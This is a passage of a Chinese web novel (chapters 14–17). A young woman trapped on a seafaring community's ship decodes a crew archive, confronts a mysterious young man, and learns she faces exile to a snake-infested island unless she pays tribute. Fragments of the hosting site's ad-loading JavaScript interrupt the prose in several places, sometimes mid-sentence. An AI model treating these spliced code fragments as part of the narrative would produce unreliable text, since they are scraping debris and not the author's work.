路上碰见几天没见到的青年,还朝他打了个招呼,笑盈盈地说了一句早上好。她很少有这么好的心情。他看着她,视线里隐约带了点探究的意味。但没说什么,不过是笑了笑,回了一句,早。 温知和推开门,猫着腰走进昏暗的图书室。垫着脚走路,伸着脖子到处张望,确认了这里面的确没别人。 很安全。 接着便兴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 冲冲地到抄东西的桌子前面坐下,火速把那本大档案翻到最后面的部分。先是看看档案表格开头疑似写着姓名的地方,把那里的文字形状记下,又把袖子捋下来,看皮肤上的小抄里有没有对应的内容。 有的。 出生年份为2005往后的档案里,几乎每一个名字都能与教室里的孩子们对上。而那几个阿拉伯数字,年份数和日期数,两边也都一一吻合。 只有几个是例外。档案里有,但她手臂上记的没有。几份例外档案都有一个共同特点。 ——再复习一遍,在这本旧档案里,每一份表格的头一页都有三种类型的阿拉伯数字。一个是年份,一个是月份日期,最后一个则比较神秘,是无规则的一位数或两位数。 ——前半本档案,每一份表格里都有这完整的三个数字。而后半本档案里则大多只有两个,一个是年份,一个是日期,缺少那第三种神秘数字,对应的位置上是空的。 教室里所有孩子的档案都和马德鲁一样,只有年份和日期两个数字,第三个数字的位置什么也没写。而那几份查无此人的档案上,却明晃晃地有第三个数字。 温知和:“2……” 温知和:“4。” 温知和:“9。” 不知为何,她脑子里忽然浮现起那天晚上纸板人从顶层坠落的画面。人影在黑夜中坠入茫茫海水,变作无根的亡魂。 死了。 ——是死了。 温知和下意识地捏紧了手指,意识到那神秘的第三个数字的真面目。 它指的是寿命。 只有已经死了的人才会拥有这个数字。 前半本档案里的人都是上几代的长辈,去世很久了,所以他们有这个数字。而后半本档案里,大多数人还活着,只有少数夭折或意外去世的人才会有。 一切都连起来了。 这厚厚的、无人问津的一本书里,记录的是大熊星座号几十年里的船民信息档案。每一份表格里都挤满了蚂蚁一样密密麻麻的马来文字。如今她猜得出的只有名字、出生年月日和寿命,在她看不懂的大块大块文字海洋里,究竟还藏了什么东西? 关于戴尔蒙徳管事的背景来历是不是也在这里?杀手纳姆的个人信息是不是也在这里?还有那个下令抓人的罪魁祸首哈撒,他的一切是不是也在这里? 每天在这里抄书,无数的秘密在眼前飞过,在笔下记过,可她一个也看不明白。 温知和把档案不断往前翻。 出生年份越过2005,再往前就不是教室里的孩子们了,都是不认识的年长船民。她没见过他们的名字怎么写,档案自然也就对应不上。 她的手指忽然停了停。 眼前的这一页有些奇异。泛黄纸页的正中央,有一枚巨大、鲜红的太阳形图腾。 ——样式张扬,色泽醒目,不知用是什么材料,半点褪色的意思都没有。仿佛尸骸里的一种永恒。 不久前对这本档案还一无所知的时候,她一页页乱翻,就在里面的几份表格上见过这样的图形。 如果这本书是所有船民的个人信息档案,那么盖上了太阳图腾的…… ——她曾问马德鲁太阳船是什么样子。他说,“很大,很漂亮,那个词叫什么……辉煌!太阳船是海上最好的地方,没有其他任何船比得上,只有很少很少的人才有资格上去!”他抬起下巴,很自豪地说,“我阿姐就去了。我以后也要去的。” ——马德鲁还说过,“哈撒是纳姆的亲哥哥,以前也是我们大熊星座号的人,特别聪明,脾气还很好,好多人都很崇拜他呢!后来哈撒就被选中去太阳船上了。” 档案上盖了太阳图腾的,一定就是指后来被选中去了太阳船的人。 这个漂游在海上的国度,群船以星座为名,绕着唯一的海上首都。太阳船是个人人都向往的梦一样的地方。 14. 第十四章 温知和又开始了暗中调查。 ——当然,是指没什么技术含量的那种。 她想不出什么办法,于是还是翻着档案,熟记几个自认为重要的词汇,隔一段时间就找上马德鲁,旁敲侧击地问他假如某某文字这么写会是什么意思。 这么做倒不算是完全没有收获吧。 指—— 解读出几个最经常在纸面上出现的文字之后,温知和现在果然知道了马来语中“的”、“是”和“这”、“那”是怎么写的了。全是虚的。 温知和:“……呜。” 于是她就学聪明了,不再去找那些在文本里出现频率最高的词,而是找表头里的词。如此一来,温知和顺利知道了档案里除了人的名字、出生日期和寿命外,还记录了家世背景、亲缘关系,以及“喜欢吃的星星”。 温知和:“……?” 有点怪。 隔了一天她又去找马德鲁迂回曲折地问了一次,原来他说错了一个词,以至于最后她拼错了整个词组的主被动关系。那个地方的意思不是“喜欢吃的星星”,而是“哪种星星喜欢吃”。 温知和:“……?” 好像更奇怪了。 总之要破解这本档案,看来是前路漫漫。 她找马德鲁问这些词语的时候,总是遮遮掩掩、弯弯绕绕,不知怎么回事,话题总是时不时就被他带到他姐姐身上去了。 他姐姐是被选去了太阳船的。马德鲁特别喜欢强调这一点,很自豪。 他说姐姐比他大七岁。虽然个子没比他高多少,但是体格强健又行动灵敏,像一只黑豹子。她会好几门语言,性格又张扬,能与任何人打交道而不吃一点亏。对了,她的名字在马来语的意思,就是“黑月亮”。 他说是姐姐把他带大的。三年前她去了太阳船,他变成孑然一身。但是没关系,他一直在努力地学,总有一天他们会在大海里最辉煌的那个地方相见。 他总是说啊说啊,说个不停。 这些故事,温知和起初听得很投入也很喜欢,脑海中一再浮现出一个精明能干、强健敏捷的马来女孩形象。黑月亮,多贴切的名字。马德鲁的姐姐一定是一个生命力相当强大的女孩子。 可是,后来,随着从马德鲁那里听说的相关信息越来越多,温知和定位出了他姐姐的档案。 很好找的。 首先,“黑月亮”去了太阳船,因此档案上一定带了赤红的太阳图腾。 其次,马德鲁说姐姐比他大七岁。他是2005年,那么他姐姐就是1998年。 出生年份为1998且印有太阳图腾的档案只有一份。 那是一份有三个阿拉伯数字的档案。除了出生年和月份日期,在代表着“寿命”的那个格子里,赫然写着一个鲜红的数字。 ——17。 “黑月亮”已经死了。算算时间,是在2015年,也就是前年。 马德鲁说她是三年前去太阳船的。 也就是说……其实她去了不到一年就去世了。 他至今毫不知情,仍以为几年不见的姐姐就在他最向往的那个地方过着梦一般的生活,正等着他努力奋进,到那里去与她重聚。 知道这个秘密之后,每当马德鲁再说起姐姐,他越是高兴,温知和心底便越是沉下去。偏偏脸上仍要做出同往常一般无二的样子,笑着听他说,还得附和。 她发觉他们之间的话题总是偏到他姐姐身上,与她要打探档案书上的词句意思无关,而是因为他自己不管说起什么,不出几句话便会说起姐姐。 毕竟那是他最爱的姐姐。 - 温知和这天照常一大早上去抄书。朝阳初升,也不过六七点钟的光景,船上已经有不少人在外活动了。 走廊拐角,她看见个不算陌生的人。面朝大海跪着,上半身直挺挺的,双手合十,双眼紧闭,无论海风怎么吹也不动弹。相当虔诚的祈祷姿态。 是那个疑似哈撒母亲的中年妇人。 她面容苍白,嘴唇紧抿着,应是个性格极为板正的人,就连脸上的每一根皱纹看上去都直挺挺的。 周围不少人从她身后空地走过,她一动未动。 温知和也走了过去,和别人没什么两样,路过而已。可那跪在地上的妇人却忽然动了,脑袋慢慢转过来,一双麻木的眼睛直勾勾地盯着温知和。 不知为什么,温知和心里并没觉得这画面恐怖。也许是对方的生命力量给人的感觉实在是太低了,像一个纸糊的人,仿佛一戳就破了。 “叽和老师!你这么早就起来啦?” 打着呵欠的马德鲁从不远处走来的时候,中年妇人缓缓收回了视线,继续跪她的苍天和大海了。 温知和转头去和马德鲁打招呼,一面说话,一面和他继续往前走。“你也这么早啊?平时不都是九点多才能看见你么?” “快到上贡的时间了嘛。我准备的东西还不够,得去医务室再帮点忙,多赚一点。”马德鲁一歪脑袋,也看见了跪在地上一言不发的妇人。等两个人再走出一段距离,妇人的身影已远在身后,他才压低了声音说,“好可怜啊。” 温知和揣着明白装糊涂,“谁?” “苏克拉大妈。你不知道吧,她是哈撒的妈妈。”马德鲁顿了顿,很贴心地又补了一句,“你还记得哈撒是谁吧?我以前提过的,他以前是我们大熊星座号的人,后来去了太阳船。” “我记得。” “哎,好可惜啊,他怎么会死的呢?我们都特别喜欢他。我还记得姐姐刚去太阳船的那一年,我们船上粮食不够,大家天天饿肚子,我也吃不饱。哈撒还给过我吃的呢。”马德鲁转头望向天空,也许是有更多的话想说,可不知该怎么用英文来表达,嘴唇动了好几次,最后只由衷说,“他是好人啊。” 到了楼梯口,温知和同马德鲁道了别。他下楼去医务室帮忙,她上楼去图书室抄书。 今日的图书室仍同往常一般安静。这艘船上流淌着如此多的秘密,这种安静,像满肚子话的人不知为何缄默不语。 温知和翻开了档案书,没急着抄今日份的内容,而是把它翻到了后面的部分,寻找盖了太阳图章的位置。 近几年的档案里,有太阳图章的只有两份。一个是马德鲁的姐姐,另一个,只可能就是哈撒了。 档案显示,他生于1993年9月17日 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,活到了24岁。也就是不久之前。 ——9月17日。 温知和忽然有点恍惚,掐指算了算,正是今天。原来今天是亡者的生日。 原来已经九月了。九月都过半了。她已经被困在这里这么久了。 她不由叹息一声。“哎……” 接着,她又把袖子捋下来,皮肤上写的满满的,是她昨天记录下的几个马来文字和它们对应的意思。正要进一步破译这本档案书,空气里蓦地响起了轻微的翻书声。 簌。 温知和低头看向自己的书。刚才那一瞬间里,她没有翻书。那么,那个声音是…… 她缓缓地抬头,看向声音传来的方向。那里好像没有人。只有明媚的阳光从窗外落进来,照亮了空气中的浮尘。 好安静。 温知和的心跳越来越快。那声音又响起来了。 簌。 那么轻,几乎像错觉。 温知和合上档案书,谨慎地朝着那边走过去。 也不过几步路的时间,她脑海中已划过了无数个海船闹鬼的古老故事。她不是作死非要去一探究竟,而是——去他大爷的,出去的门也在那个方向。 吱——呀—— 脚下的木板声,平日里是根本不会留意到的,此时却显得无比刺耳。是她太紧张,还是木板本身起了变化? 温知和屏住呼吸,与此同时,听见了低低的笑声。并不诡异。甚至有点好听。 ——甚至还挺耳熟。 温知和小步改大步,朝着那边踏了过去,果然,下一刻,隔着书架在空隙里看见了那人耳朵下的红色耳钉。 他是靠着书架坐在地上的,姿态很闲适。 通常情况下,温知和不会用最坏的恶意揣测别人,因此,隔着一层书架,开口时颇为客气地先说了一句,“你在这里看书啊?刚才在笑什么?” “在笑我看到的情节,”青年头也没抬,眼睛仍盯着手中的书上,“有人心里有鬼,听见异动,便以为真是鬼。” “很好笑吗?” “不好笑吗?” 温知和的火气上来了,几步走完了剩下的距离,站在青年眼前。“你是故意的。” “你指的是什么?” “翻书。发出声音。” “我为什么要故意做那种事?” “为了故意吓人,看别人的热闹。” “你觉得我看你的热闹了?” “你说那样很好笑,不是吗?” 温知和也说不明白自己的怒火为什么就那么腾腾往上涨,连声音也越抬越高。她是站着的,居高临下,青年坐在地上,所有的光都被她遮住了。 他在她的阴影里,抬起头来看她。“我很多年没有用过中文了。有时候词不达意,请你见谅。” 说完,他把手里的书合了起来,侧过身去把它放回书架上。 窸窸窣窣。 他动作很轻,看得出是个爱护书的人。 伴着书与书之间的轻微摩擦声,温知和又听见青年说,“我刚才想表达的意思并不是看热闹的那种好笑,而是很可爱的那种好笑。小侦探,你又在调查什么?” 15. 第十五章 温知和道,“……关你什么事。” 青年说,“先是闯到顶层偷偷观察‘禁地’,现在又盯上了大熊星座号的船民档案?” “我没有啊。你别瞎说。” “你知道哈菲兹为什么要让你来抄那份档案么?” “哈……谁?” 温知和全身上下的戒备卡了一下,迷茫涌上了脸。这个问题她问的是真心的。 青年道,“他喜欢管自己叫钻石。戴尔蒙徳。” 温知和挠挠头,“噢,他啊……”然后又戒备起来,“不知道。不清楚。干嘛?” 她这会讲话语速可快了。 这副明明一碰就炸,偏偏又极力装得若无其事的样子,全落在青年眼里。他嘴角微微牵动。结果嘴边的笑意是压下去了,眼睛里的却没有。 他说,“你怎么这么可爱啊?” 青年抱起手臂,向后倚着陈旧的书架。这么一动作,恰好便脱离了她的影子,自她身后传来的光照在他脸上。 他有一双很亮的眼睛。 温知和沉默一阵,忽然很真诚地问,“请问这是美人计吗?” “什么东西?” “这艘船一直都在观察我、调查我。说不定还在想方设法地从我身上挖什么线索。你现在来问我话,也是计策的一部分吧?” 青年眼睛垂了垂,又抬起来看她,神色不变。“那你中计了吗?” “……” 温知和下意识地后退了一步。“没有啊。” 她这么一后撤,遮住的阳光少了,更多的亮落在他身上。 这么一个瞬间,好像电影里的慢镜头。 黑发微卷的青年穿了一件深色衬衫,最上面两颗扣子没扣,白亮的阳光照着的皮肤上,锁骨前的几道疤痕清晰可见。 皮肤上的疤痕是陈旧的。旁边的木头书架也是陈旧的。这整个图书舱室、整条船,全都是陈旧的。周围的世界是大大小小的、陈旧的牢笼。 他好像坐在一重又一重的牢笼里。左耳下鲜红的耳钉,如同身体里经年累月渗出来的一抹血。 这样一幅场景,这样一个瞬间,好像这艘有些年头了的海船心里无意中浮现起的一个梦。 这一瞬间转眼便结束了。 青年道,“那这就不是计策。” “……噢。” “言归正传。船上的人这么多,你知道哈菲兹为什么一定要找你来抄那份档案么?” 这是青年第二次问这个问题。温知和经了刚才那一阵打岔,紧绷着的神经稍稍放松了些,迟疑了一阵,也就老实回答他了。 “因为我不会马来语。” “嗯。就是因为你看不懂里面写了什么,他才会把东西交给你。如果他知道你能看懂书上的内容,会发生什么?” “……什么?” “哈菲兹是个很好对付的人,背后也没有什么势力。他这个管事的位置,是这艘船的人自己选出来的。他也没什么心眼,不然,不至于把这本档案交给你。” “噢……” “但这艘船上有别的眼睛。” “谁!?” 青年望着她,把手指竖在嘴边。 温知和:“……?” 他眼睛微微一动,朝门口瞟了一下。温知和看过去,惊觉门底下透着阳光的细缝中间有几道阴影。门外有人。 ——是什么人?又是什么时候来的? ——门外的人是今天才有的,还是一直都有? 她一时不敢动了。 青年倒是站起身来,好像事不关己高高挂起一般,浏览起了书架上的书。随他走动,脚下木板间或发出吱呀作响的声音。 眼看着青年离自己越来越近,温知和不自觉地又往后退了几步,让出空间来。 一退再退,没法再往后了。后面是墙。 她手臂上忽然传来温热的触感。 青年仍保持着弯腰浏览书架上某排书籍的姿态不变,却向她伸出一只手来,宽厚的手掌覆上了她的手臂,不等她做出什么反应,那只手掌轻轻往下,把她先前翻在手肘处的袖子拉下来,遮住了皮肤上画的密密麻麻的笔迹。 温知和:“……!” 她这才想起自己手臂上有“小抄”。刚才他全看见了。 ——温知和:“我没有啊。你别瞎说。” ——温知和:“不知道。不清楚。干嘛?” 温知和:“……” 青年收回手,落在书架上的视线相当专注。好像刚才什么也没发生过。 就在这时,图书室的门开始发出声响。外面的人推门走进来了。一个斜长的黑影子落在地上,随那人走动,影子也跟着轻轻晃动。好像纸片人。 那人没说话。空气里一时只有脚步声。对方似乎也伪装成了进来随意看看书的姿态。 温知和下意识地要探头去看那人是谁,却有一只修长的手挡在身前。青年几不可见地摇了摇头。 温知和:“……” 下一刻,她忽然意会,转过身去背对着来人的方向,假装是坐在窗前眺望外面的海。 假装她对来人是谁毫无兴趣。 吱——呀—— 那人缓慢地在不大的图书室里踱步,地板不断发出轻微声响。时不时地,还有书架上的书倒下的声音、倒下后被扶起来的声音。声音一会儿在这,一会儿在那。很飘渺。 温知和不合时宜地想起一个恐怖桥段。说的是有穷苦人为了省钱住进了闹鬼的客栈,客栈老板说这里的每一间房都有各自的规则,只要守住规则,鬼便无法夺人性命;但若是守不住就完了。然后,老板给穷苦人安排了一间,其规则是:不要睁开眼。穷苦人住进那进屋子,里面黑漆漆的,一躺在床上就不敢睁眼了,熬着等天亮。一晚上,那屋子里各式各样的响声…… ……不能再往下想了。故事里的人是不能睁眼,她眼下是不能回头。 温知和一直忍着,感觉自己颈后发热,似乎开始冒汗。 ——那人到底什么时候才走啊。 身后蓦地传来人声。那是一个毫无辨识度、毫无记忆点的男人的声音,这种音色,一般人听过就忘了。讲的是马来语。 温知和用手支着下巴,作出都快睡着了的样子,脑袋还一点一点的。 下一秒,青年的声音响起来,与那人对上了话。他的音色很干净,语调里总有几分漫不经心的意味。好像需要的一切尽在掌控之中,所以才如此气定神闲。 那人又答了几句。然后便是脚步声、地板声,那人转身走了。从对话的长短听来,方才应该不过是一次问路,或者寒暄。 吱——呀—— 图书室的门再次缓缓关上。 隔了一阵子,一直坐在窗前的温知和才慢慢地把脑袋往门那边转过去,又弯了弯腰,从书架间隙中看见大门底下细缝的光是白亮亮的一条。外面真没人了。 她不由松了一口气。再往脖子上一摸,皮肤上除了有点热,竟然是干干净净的,没真的出汗。很好。看来她上船以来心理素质强大了不少。 青年也随手把根本没看的书放回了书架上。 温知和道,“刚才我为什么不能回头?” 青年道,“你先前问我,船上那些注视着你的眼睛是谁。” “是啊。” “那么你听好了,不要去想,也不要知道。什么都不知道,才比较安全。” “……什么意思?” 青年偏过头来瞅着她,“一定要全说破了才行么?” 温知和心存侥幸,转过头去又隔着窗户看起了大海,一手支起下巴,继续装傻。“我不知道你在说什么。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >窗户的倒影中,她看见青年朝她走过来。 书架边上的这块地方本就狭小,他个子又高,两三步间便已到了她身后。他两手浅浅地插在裤兜里,只有上半身微微向她俯下来,脸上还带着笑。先前的高低之位逆转了。这会儿是她坐着,他站着。 不得不说是挺有压迫感的。 半模糊的窗影里,温知和抬起眼睛来和青年对视,还勉强在脸上扯出一个笑来。 青年道,“首先,那本档案书就不要再继续破解了。” 温知和张口就要否认,却想起手臂上被他捋下来的袖子。差点忘了,他已经看见证据了。 温知和:“……” 她不自在地换了一只手撑下巴。 青年又道,“其次,禁地冒险也免了。不要在船上到处乱走,尤其是晚上。” 温知和目光游移。“我没有闯过禁地。” “那你上次为什么去顶层?” “散步啊。” “散步的地点,需要那么精心地从孩子们的画里找吗?” 温知和心里一惊,下意识地又在窗影里对上他视线。青年的眼睛,如同猎人的陷阱,正等着她跳下去。 ——她的确是靠着让孩子们画特定主题的画,从他们画出来的东西里分析出船上的特殊地点的。 可他是怎么发现的?她一直以为自己做的很隐蔽。 温知和颈后一阵凉意。这一次,是真的渗出了冷汗。 她听见心跳的声音。 这一瞬间,时间好像又定格了。 窗户微微蒙尘的透明玻璃上映着她自己和身后的黑发青年,她在低,他在高,填充画面背景的是外面日光下无边的海水。这幅景象像一种寓言。 身前是大海,身后是他。她夹在中间无路可逃。 这因惊异而起的一瞬间,很快也就过去了。 下一秒,温知和看见青年眼睛里原来是在笑。那张清俊的脸与窗外的晴空重合,连轮廓也显得那么柔和。所谓陷阱,不过是她自己因戒备惊惧而在刹那间产生的错觉。 好像……不是来找茬的? 温知和试探道,“你说的是什么画?” 青年道,“你想的是什么画,我说的就是什么画。” 温知和不说话了,只戒备着,在窗玻璃上一直看着他。玻璃是半朦胧的,因此这一面映出来的她和他的影子是半透明的。那一面的外边的大海是那么辽阔。看上去,他们就像有一半化在了海里。 是玻璃画上的两个人。 青年忽然伸手,温知和下意识地躲了一下。他的手绕过她,没碰着她。 却是点在了玻璃上。 啪嗒。 ——就在她脑袋的位置。他摁着她在玻璃上的倒影,指腹与玻璃轻轻摩擦。 他说,“不要再做多余的事了。以你的位置,知道得越少越好。” 温知和一时间没说话。过了半晌,低下头去,再开口时声音忽然有点哽咽。“我想回家……好想回家……” 努力了这么久,无非是想离开,偏偏做的事全都是无用功。孤身一人被抛到这样的世界里来,像蜜蜂在玻璃瓶里撞来撞去,找不到出路。她像一根紧绷的弦,已经强撑很久了。 “我想回家……” “我想回家!!” 温知和把话重复了几次,再也忍不住,头埋在臂弯里哭了起来。长时间的迷茫、恐惧,像一个气球膨胀到极限后终于炸开。她也才十九岁。 眼泪把手臂都打湿了,她哭累了,哽咽着,动静低下去。 沉默了一阵。 忽然有人揉她的头发。 温知和抬眼,朦胧的泪眼里,看见玻璃窗上模糊的人影。青年一直在这里,看着她,但神色不分明。 他说,“什么都不要做。如果你想回家的话。” 16. 第十六章 ——“什么都不要做。如果你想回家的话。” ——那天在图书室里,只留下这么一句,青年就接了个电话走了。 然后就又是一连好几天也没出现。 他的话有多少可信度?温知和想,她至今连他的名字都不知道。 这天早上,温知和一出门便觉得船上的气氛不太对劲。 天气不好。整片天都是灰白的,仿佛满天浓云在不停往下掉,四周堆积着蒙蒙的雾气,看不清多远。 路上碰见的船民们都是步履匆匆的模样,神色里藏着阴霾,不时交头接耳,用她听不明白的本地语言互相嘟哝着什么。 到了食堂,温知和发现这里忽然多了一块大黑板。 上面的白色粉笔字歪歪扭扭,她是看不懂的。但有一个阿拉伯数字画得很大,引人好奇。 是一个数字“3”。 周围排队领饭的船民们看上去都没什么好心情,就连打饭的大爷也没好气,给温知和的午餐比往常足足少了三块鱼肉。她朝大爷比了一个三,大爷叹了口气朝她狠狠点点头。她猜他误以为自己在说黑板上的数字,但……算了。 温知和端着没装满的饭盘,在角落里找到马德鲁。“早上好。” 马德里有气无力地扒拉着他碗里的残羹冷炙,连头也没抬,“早上坏。” “今天这是怎么了?”温知和数着怪事,“首先,大家心情都很差。其次,这里多了一块写着3的黑板。最后,饭还变少了。” “今天这顿饭说不定是未来一个月里最丰盛的一顿。” “啊?为什么?” “叽和老师真是对我们这里一点了解也没有啊。说真的,你到底怎么来的?” “关于这个,”温知和诚实地说,“其实我也不是特别清楚。” 马德鲁以为她在开玩笑,但这会懒得计较,只耸了耸肩,咕哝着说道,“因为就快到进贡的时候了。” “进贡?” 好生封建的一个词。 温知和忽然想起她不久前听说过。 ——那是在她从孩子们的画里提取出了三个神秘地点的时候。她去探访的第一个地点是二楼中央的某个房间,紧锁着的大门十分厚重,显然里面藏着好东西。 ——当时恰好碰上马德鲁,他随口告诉她,大熊星座号会定期向太阳船进贡,那个房间就是用来储存贡物的地方。 马德鲁说,“‘进贡’?‘交税’?反正意思差不多吧。快到上贡的期限了,黑板上那句话就是倒计时三天的意思。”说着他就吧唧了一下嘴,“每次上贡之后大家都会变得比较穷……食堂给的饭菜一点油水也没有。” 温知和道,“也就是说,三天之后太阳船会出现在海面上?” 那究竟会是一艘怎样的船呢?传言里,它富丽辉煌,无比耀眼,如同浮在海面的黄金天堂。 马德鲁说,“当然不是。太阳船可不是一般人能看见的。我们有句老话,翻译过来是……呃……嗯……‘能看见太阳船的人,只有有资格登上太阳船的人’。差不多是这么个意思吧。总之三天之后,我们只是会在一个叫‘交易岛’的地方靠岸而已。” “噢……” 话说到这里,温知和还只觉得他们这个海上国度的制度挺奇特,没觉得跟她有什么关系。然后,马德鲁的下一句话让她表情一下子僵住了。 他说,“叽和老师,你的贡品准备好了没有啊?登记过了吗?” - ——“我也要上贡!?” ——“啊?啊。” 这场对话发生在戴尔蒙徳管事的“办公室”。 与其说它是办公室,倒不如说它就是个乱七八糟的仓库。这个男人管着船上大大小小的事,几张桌子、几排柜子,各式物资、文书堆得到处都是。他本人平日在其间腾挪闪转,找东西一找一个准,颇有天天在垃圾堆里翻黄金的样子。 三分钟前,温知和闯进这地方,先是喊了几句,无人应答,又弯着腰到处找了一阵,才在角落里的某张桌子底下找到趴在地上的戴尔蒙徳管事。 他一脸严肃,正认真研读手里的一本小书。 当时她还很谨慎,慢慢蹲下来,说,“嗨。” 戴尔蒙徳管事全身稳如泰山,只有眼珠子往上挪了挪。“你这时候应该在教室吧?”说完这句话,他的视线便光速回到了手中的书上。 “我有一件事情想问。”温知和踟蹰一下,“听说三天以后大熊星座号要上贡。” “嗯。” “所以,这个,好像最近大家都在准备进贡的物资……” “嗯。” 连着两个嗯。 于是温知和试探性地问,“这件事应该跟我没关系吧?” 她想得到的是第三个嗯。可惜戴尔蒙徳管事没给她。 他冷冷地哼了一声。然后,嘟哝着说,“跟你没关系?你不是这艘船上的人吗?只要你是这艘船上的人,这件事怎么就跟你没关系了?人人都要生活,人人都要上贡。今年的贡品,大家都登记过了,就差两个人。你就是其中的百分之五十。居然还敢来问我。” 温知和心里顿时有了那种“听说有人家里失火了然后跑去看热闹结果惊觉是自己家”的感觉,于是就有了开头的那两句话。 她没压住音量,“我也要上贡!?” 戴尔蒙徳管事依然趴在地上看着他的书,连眼皮子也没动一下。“啊?啊。” 温知和连忙道,“但我没什么可交的啊!虽然我每天上两种班,但你们给我的也只有三顿饭而已,又没有别的。” “少点抱怨,多点反思。出了问题别总是把原因推到环境身上,多想想是不是自己有问题。打个比方,难道就因为没发工资给你,你就不能交税了吗?” “?” 这只茄子真的知道自己在说什么吗? 她来船上一个多月了,他用起英文来是半点长进也没有,说起话来经常颠三倒四的。令人搞不清这究竟是因为他的外语水平不好,无法充分表达出原本要说的意思,还是他的脑子本身就不好,原本要讲的东西就没什么逻辑……还是两者皆是。 温知和说,“反正我什么都没有。” “没有也得交。创造奇迹也得上。” “……” 温知和听见了翻页的声音。这男人根本就是在敷衍她,嘴上叽里咕噜的,注意力一直在手底下的书上。 是什么重要文件能让他看得如此聚精会神? 温知和凑过去一看—— 卡通漫画。 内容大概是一只猫咬了一只狗,狗想咬回去,用有限的脑子挤出了很多办法,结果总是被猫算计回去。大概就是猫和老鼠的狗和猫版。 温知和:“……” 这艘船上的娱乐生活真挺贫瘠的。 她也不知道自己哪儿来的勇气,一伸手把漫画书从戴尔蒙徳管事手里抽出来了,逼迫他把注意力转移到她身上,“交不了,就是交不了。” 男人一下子火了。“……喂!!” “如果真的交不了会怎么样?” “倒也不会怎么样。也不过就是把你扔在交易岛上,不让你上船吧。就是流放,知道吧?” 流、放? 温知和强作镇定。“你说的那个‘交易岛’,上面有电话、互联网之类的吗?” “想多了。你说的那种地方我们一般称之为——‘外面’。”戴尔蒙徳管事说,“至于‘交易岛’,就是几个小沙滩、 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 几片小森林。当然也没什么危险的。蛇很多,虫也很多,碰上的话咬一口很快就死了,不会挣扎很久。” 那不就是荒岛生存吗? 温知和镇定不起来了,一时间忘了手里的漫画书是属于别人的,拎着它狠狠往地上一拍。“不能这样吧!你们都没搞清楚过我到底是什么身份,没搞清楚过为什么要抓我来,就把我弄死在一座岛上!?” “没人对你动手啊,没人做了任何事,”戴尔蒙徳管事很心疼自己的漫画书,试图伸手把它从温知和手里夺回来,奈何人在桌子底下活动不方便,这么一动,不仅书没拿回来,还不小心撞了脑袋,“……是你自己交不上贡品,按制度,我们就把你放在岛上嘛。要说杀人,那也是定了这个制度的人杀了你。”他歪了歪头,又补了一句,“不过那帮老头自己也早就死了。” 总之一切自然而然,怨不得任何人。温知和一度怀疑眼前这个向来古怪的男人是早就看她不顺眼,设了个局把她从船上丢出去。 但冷静下来一想,又觉得不是。 首先,他俩没过节……应该吧。 这只茄子不管对什么人、什么事都有点无所谓的意思,她并不特殊。 其次,他还有那么厚一本档案等着她抄呢。 ——当然,最后也最重要的是,他平时表现出来的智商似乎不足以支撑搞阴谋。 这么一来,当务之急对事不对人。先把问题解决了。 温知和心里着急,不自觉地把手里的书捏得噼啪作响。“有没有什么办法,或许,能让我这几天把那个什么贡品补上?我可以加班。” 戴尔蒙徳管事盯着自己的书,显然有点心疼,讲话的时候脸上肌肉都有点跳。“噢,你问这个啊?那倒是有,还有好几个呢。‘交易岛’上有不少珍贵好东西,靠岸的那天,你要是能带回来一两个,不仅贡品评级可以给你算到最高,我们还可以表彰你,每天都让你多吃东西。” 如此天大的好消息,不知为什么,温知和一点松一口气的感觉都没有。她表情僵僵地说,“……你说的,都是什么东西呢?” 戴尔蒙徳管事说,“第一样东西叫‘太平杀手’,是一种蛇,就长在‘交易岛’的林子里。据说不长,一条就两三米,差不多手腕那么粗。就是有点毒,平时喜欢挂在树干上,周围几米都不会有活物。噢,而且还喜欢拖家带口,一条大蛇带十几二十条小蛇还蛮常见的。总之你要是能抓来一两条,贡品的事不成问题。” “……” 他哪只眼睛看出来她能去抓蛇的? 温知和从嗓子里挤出几个字,“还有呢?” “第二样东西我不太建议你去找,”戴尔蒙徳管事露出很有良心的表情,说,“它是一种毒蜘蛛。上一个试图去抓它的,死前嚎叫了三天三夜,叫完以后尸体喂饱了不少倒霉的鱼,又把它们全都毒死了。然后,来吃这些鱼尸体的鱼也被毒死了。一环扣一环,简直是一场小型生态危机啊。” “……还有呢?” “第三样东西是一种花,小小的,白白的,叫‘海梦花’。啧,真诗意。” 听上去意外地还不错啊。 温知和戒备地问,“它有毒吗?” “没有。” “它长在特别高的悬崖上,去摘就有生命危险?” “也没有。它就长在‘交易岛’的沙滩上。” 不管怎么看,这花都是最简单的了。但温知和还有最后一个疑虑。“这么好找的花为什么能做特殊贡品?它身上有什么特别的吗?” “有啊,”戴尔蒙徳管事耸耸肩,“它五十年前灭绝了。” 温知和一时没忍住,“失手”撕碎了手里的漫画书。仍趴在桌子底下的戴尔蒙徳管事发出一声悲鸣。 17. 第十七章 图书室。 今天的图书室和平时没什么差别。还是这么简陋,还是这么没人爱来。 青年拿着书进来的时候,空空的房间里只有温知和趴在桌子上奋笔疾书。他走过来看。“你在写什么?” 她没抬头。“荒野生存守则。” “嗯?” “我在以《荒野生存》为依据,总结在一座无人海岛上生存下去的种种经验,”到这里为止,温知和说得还算是正经,但紧接着声音便低了八度,语速也变快了,“确切地说是在以‘我还记得的’《荒野生存》的‘一点点内容’为依据总结在一座‘到处是毒蛇毒虫的’无人岛上生存下去的‘一点点’经验。” 她咬重了每一个“一点点”。 青年忍俊不禁,双手撑在桌子上,低头看着她写的东西。“这里,这个不对,”他指着一条“生存守则”说,“你最好改一下。”又看了看别的,随手又指了几个错误。 这里面有的是她记不准《荒野生存》的内容,所以写错了;有的是《荒野生存》里确实是那么说的,但她即将被丢去的那座小岛——“交易岛”——有它自身的特殊情形,某些通行法则在那里并不适用。 他这么明白通晓,简直像过来人。 温知和奇道,“你怎么这么了解?”顿了顿,没忍住,又道,“难不成你被流放过?” 出乎她意料,青年嗯了一声。 温知和终于抬起头来,上下观察着这个人。 她上船的时候,青年在这海上世外之地的地位已经相当超然,举手投足间从容不迫,甚至还有点神神秘秘的。 可他——以前也被流放过? 